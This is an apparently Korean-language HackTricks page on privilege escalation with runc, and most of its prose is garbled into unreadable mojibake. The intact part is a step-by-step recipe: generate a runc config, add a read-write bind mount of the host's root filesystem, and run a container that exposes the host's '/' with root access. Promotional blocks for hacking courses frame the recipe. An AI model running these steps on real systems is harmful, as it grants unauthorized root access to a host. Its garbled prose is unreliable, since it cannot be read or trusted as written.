RunC ๊ถํ ์์น
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
runc์ ๋ํด ๋ ์๊ณ ์ถ๋ค๋ฉด ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
PE
ํธ์คํธ์ runc๊ฐ ์ค์น๋์ด ์๋ค๋ฉด ํธ์คํธ์ ๋ฃจํธ / ํด๋๋ฅผ ๋ง์ดํธํ๋ ์ปจํ
์ด๋๋ฅผ ์คํํ ์ ์์์ง๋ ๋ชจ๋ฆ
๋๋ค.
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs
# Finally, start the container
# The root folder is the one from the host
runc run demo
Caution
์ด๊ฒ์ ํญ์ ์๋ํ์ง ์์ ์ ์์ต๋๋ค. runc์ ๊ธฐ๋ณธ ์๋ ๋ฐฉ์์ root๋ก ์คํํ๋ ๊ฒ์ด๋ฏ๋ก, ๋นํน๊ถ ์ฌ์ฉ์๋ก ์คํํ๋ ๊ฒ์ ๋จ์ํ ์๋ํ ์ ์์ต๋๋ค(๋ฃจํธ๋ฆฌ์ค ๊ตฌ์ฑ ์์ด๋). ๋ฃจํธ๋ฆฌ์ค ๊ตฌ์ฑ์ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ์ค์ ํ๋ ๊ฒ์ ์ผ๋ฐ์ ์ผ๋ก ์ข์ ์๊ฐ์ด ์๋๋๋ค. ๋ฃจํธ๋ฆฌ์ค ์ปจํ ์ด๋ ๋ด๋ถ์๋ ๋ฃจํธ๋ฆฌ์ค ์ปจํ ์ด๋ ์ธ๋ถ์๋ ์ ์ฉ๋์ง ์๋ ๋ช ๊ฐ์ง ์ ํ์ด ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


